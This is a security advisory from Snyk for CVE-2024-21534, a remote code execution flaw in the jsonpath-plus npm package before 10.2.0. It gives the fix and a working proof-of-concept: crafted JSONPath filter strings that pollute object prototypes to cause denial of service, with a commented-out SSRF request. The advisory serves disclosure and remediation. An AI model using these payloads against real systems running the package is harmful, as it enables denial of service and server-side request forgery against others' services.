Remote Code Execution (RCE) Affecting jsonpath-plus package, versions <10.2.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-JSONPATHPLUS-7945884
- published10 Oct 2024
- disclosed10 Sept 2024
- creditAndrea Angelo Raineri
Introduced: 10 Sep 2024
CVE-2024-21534 (opens in a new tab)How to fix?
Upgrade jsonpath-plus to version 10.2.0 or higher.
Overview
jsonpath-plus is an A JS implementation of JSONPath with some additional operators
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.
Note:
There were several attempts to fix it in versions 10.0.0-10.1.0 but it could still be exploited using different payloads.
PoC
const { JSONPath } = require("jsonpath-plus");
const pathDoS =
"$[?(con = constructor; dp = con.defineProperty; gopd = con.getOwnPropertyDescriptor; f = gopd(con, 'entries').value; alt = gopd(con.getPrototypeOf(f), 'apply'); dp(con.getPrototypeOf(_$_root.body), 'toString', alt);)]";
const pathSsrf =
"$[?(con = constructor; dp = con.defineProperty; dp(con.prototype, 'referrer', _$_root.referrer); dp(con.prototype, 'method', _$_root.method); dp(con.prototype, 'body', _$_root.body);)]";
const result = JSONPath({
json: {
referrer: {
value: "http://authorized.com",
writable: true,
},
method: {
value: "POST",
writable: true,
},
body: {
value: "Hello, World!",
writable: true,
},
},
path: pathDoS,
});
result.toString(); //DoS
//fetch("http://localhost:3000"); // ssrf with possible privilege escalation via lateral movement